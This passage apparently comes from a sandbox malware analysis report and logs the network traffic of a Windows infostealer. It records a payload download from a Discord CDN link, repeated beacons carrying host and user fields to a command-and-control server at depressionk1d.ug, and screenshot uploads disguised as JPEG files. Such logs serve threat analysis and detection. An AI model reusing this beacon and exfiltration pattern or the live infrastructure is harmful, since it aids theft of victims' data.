Nov 12, 2021 22:23:31.144465923 CET	4121	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:31.212877989 CET	4121	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef6c84ac469cc5c9e34c56f18531b7d7 Host: depressionk1d.ug Content-Length: 108941 Cache-Control: no-cache
Nov 12, 2021 22:23:31.213038921 CET	4122	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 36 63 38 34 61 63 34 36 39 63 63 35 63 39 65 33 34 63 35 36 66 31 38 35 33 31 62 37 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef6c84ac469cc5c9e34c56f18531b7d7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:31.213300943 CET	4132	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:31.213475943 CET	4134	OUT	Data Raw: ed a0 ad 16 0b 8c a5 a3 6d 18 34 86 14 87 ad 2d 14 c4 25 2d 14 0a 06 14 51 41 a0 41 45 2a ab 31 c2 a9 27 d0 0a b2 9a 75 e4 9f 76 dd ff 00 e0 43 1f ce 84 9b d8 2e 55 a2 b4 93 44 ba 6f bc 63 4f a9 cf f2 aa d7 b6 86 ca 65 8c b8 62 57 76 40 c7 73 fe Data Ascii: m4-%-QAAE1'uvC.UDocOebWv@sNJhEvQE(((C@EPK@RHqlU a5dZ?y#v1\AE-R@KK1@E-(P)hE-(&)h(-&(.(0
Nov 12, 2021 22:23:31.235795021 CET	4140	OUT	Data Raw: e1 ed 71 ec 61 bc d2 e6 99 a3 b1 bf 8c c6 ec 0f fa a6 23 01 fe 9d 8f a8 ad bf f8 55 5a e7 fc fd e9 df f7 f1 ff 00 f8 8a 3f e1 55 eb 9f f3 f7 a7 7f df c7 ff 00 e2 2b df 78 8c 1f 27 b3 e6 56 3e 75 61 f1 9c fe d3 95 dc d0 f0 77 88 26 b9 bb d2 b4 2b Data Ascii: qa#UZ?U+x'V>uaw&++1\PA>W\|n/z\|/[EuqfCp(Tc*=GzQhyIU;GEP/E^4.J9\aAdq~?.J
Nov 12, 2021 22:23:31.235877037 CET	4150	OUT	Data Raw: cd 17 b1 5a 03 2b 47 74 64 72 64 90 2e 4f cc 9b 30 e7 82 17 19 e2 b6 34 4b 5b 7b 4d 32 c7 49 d4 75 cb 2b 49 35 b3 33 de 43 30 99 e4 75 70 63 81 83 22 32 70 e1 9c 65 87 50 7d eb ce bc a5 f4 a0 42 80 74 eb 4d d1 6d 38 f4 62 55 52 7c dd 51 e9 90 af Data Ascii: Z+Gtdrd.O04K[{M2Iu+I53C0upc"2peP}BtMm8bUR\|Q{sMm<goN+G3CIm)(n$98XB):b3%V-Y/[b-.U#\t<\|G>ZcTN{jc+_A(QE)E@F(QEQE
Nov 12, 2021 22:23:31.235908031 CET	4161	OUT	Data Raw: db 65 64 2e 32 c4 9e 1b bd 59 ba f1 46 b7 79 77 f6 c9 66 b3 17 67 cc dd 3c 56 10 47 23 ef 42 8d b9 95 01 6c ab 11 ce 7a e7 ad 3f 67 57 5e fe f7 e3 b7 dc 39 54 a6 d9 ad 35 ac 1a 57 86 f5 4d 67 4e 82 09 ad a5 b8 b3 9b 4e 9a e6 dd 25 d9 1b 89 c3 c6 Data Ascii: ed.2YFywfg<VG#Blz?gW^9T5WMgNN%CV]9>zh<Akv[h(BKrW8qQB}n1nT#C<j-t80Q~!~fzUli0HPJLO X`&
Nov 12, 2021 22:23:31.258423090 CET	4167	OUT	Data Raw: fd b9 33 78 2f fe 11 d9 6c d1 d8 4d 1b a5 e6 fc 3a c6 9b c8 8c 8c 72 03 48 c4 1c f1 92 3d 30 f1 af cb fd b3 6f a8 7d 8a 36 48 ac 23 b0 96 de 47 25 66 8c 44 22 6c 91 82 37 0c 9e 3a 1f 5c 55 7e fe ef fa e9 fe 64 3f 63 fd 7a ff 00 95 cb 96 d0 78 7b Data Ascii: 3x/lM:rH=0o}6H#G%fD"l7:\U~d?czx{PtkYZ[\F5r!*$FnTPyB_GC]i6z4uXXKS6F_M8q{rKL5_Xm-bKU
Nov 12, 2021 22:23:31.258541107 CET	4187	OUT	Data Raw: e2 bd cc fc 1a f0 77 fc fa dd 7f e0 4b 57 8c fc 39 ff 00 92 85 a2 7f d7 c7 f4 35 f4 9d ce aa d0 df bd 9c 3a 75 dd dc 89 12 4a e6 13 18 0a 18 b0 1f 7d d7 9f 91 ba 57 9f 8a 73 f6 96 8b e9 dc ef c3 28 72 5e 4b af 63 90 ff 00 85 35 e0 ef f9 f6 ba ff Data Ascii: wKW95:uJ}Ws(r^Kc5w*\$c1P+-Vh,]pGyMsf_'3}}U+(,+}wc~4Vd8^]f{tp(;
Nov 12, 2021 22:23:31.258609056 CET	4193	OUT	Data Raw: ca a0 53 82 d5 e4 d3 e4 ee 05 48 2c 40 fb ce a3 f1 ac dd 58 9a 2a 2c a0 57 e5 3f 4a f1 7f 88 df f2 16 b6 1f f4 c7 ff 00 66 35 ee cf 15 b4 68 77 4c bd 3d 6b c2 be 23 90 75 a8 36 1c af 95 c1 ff 00 81 1a e9 c2 ca ed 9c f8 88 72 c9 1e 52 7a 51 4a 7a Data Ascii: SH,@X*,W?Jf5hwL=k#u6rRzQJzRf={`Y?+2:'\|l\|W5T-KIlrWM_Wz-><8S^VJ5_Y7NIvg4)1h0>e
Nov 12, 2021 22:23:31.258771896 CET	4198	OUT	Data Raw: 70 a7 63 8a bb 11 71 80 54 8a bc d0 16 9f 8c 55 24 4b 62 81 4a 7a 50 0e 05 30 b6 6a f6 24 00 c9 a9 00 a1 16 a4 db 4d 22 5c 86 01 4f c5 28 5a 70 15 49 12 d8 98 a5 02 9c 05 2e 2a ac 45 c6 e2 94 0a 76 29 e0 7b 55 58 9b 8d 51 4e c5 38 0a 70 15 56 25 Data Ascii: pcqTU$KbJzP0j$M"\O(ZpI.*Ev){UXQN8pV%iiR78v)h&qFxZpZv'm8)PKP8JpOjv'%<%L%9`('%.%(J\sUVuh 'rK<)yYK;a0I!Uo9u0D-jEow
Nov 12, 2021 22:23:31.306467056 CET	4232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49784	162.159.129.233	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:07.067578077 CET	1150	OUT	GET /attachments/878034206570209333/908810887417176084/vms.exe HTTP/1.1 Host: cdn.discordapp.com
Nov 12, 2021 22:23:07.094263077 CET	1151	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 12 Nov 2021 21:23:07 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 12 Nov 2021 22:23:07 GMT Location: https://cdn.discordapp.com/attachments/878034206570209333/908810887417176084/vms.exe X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qQuNkV0jaurDDEKier5UVYlTt9nakMd515b1chpPiHOeWcNqL4ppDIlfxRN%2B3ncDJ3jt79lbSkQLvdH2ixJZ2qJ3fBzTCfS4Yi3n93MP4E9dMB3BXZyNaUcHWeEHYfJetBIxqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6ad2d1d13e8de003-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49824	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:31.275063038 CET	4213	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:31.301870108 CET	4231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49825	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:31.432215929 CET	4232	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:31.458420038 CET	4233	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49826	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:31.602646112 CET	4233	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:31.627692938 CET	4234	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49827	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:31.760157108 CET	4234	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:31.785746098 CET	4235	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49828	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:31.863842010 CET	4235	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:31.864084959 CET	4236	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:31.864485025 CET	4246	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:31.864793062 CET	4248	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:31.887203932 CET	4257	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:31.887238026 CET	4259	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:31.887278080 CET	4265	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:31.887358904 CET	4268	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:31.887387991 CET	4271	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:31.887415886 CET	4274	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:31.909944057 CET	4280	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:31.960405111 CET	4346	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49829	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:31.915643930 CET	4326	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:31.941987991 CET	4345	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49830	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:32.073916912 CET	4347	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:32.100353003 CET	4348	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49831	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:32.230894089 CET	4348	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:32.256362915 CET	4349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49832	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:32.386087894 CET	4349	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:32.414083004 CET	4350	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:32.438690901 CET	4350	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:32.438797951 CET	4350	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:32.438980103 CET	4360	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:32.439047098 CET	4363	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
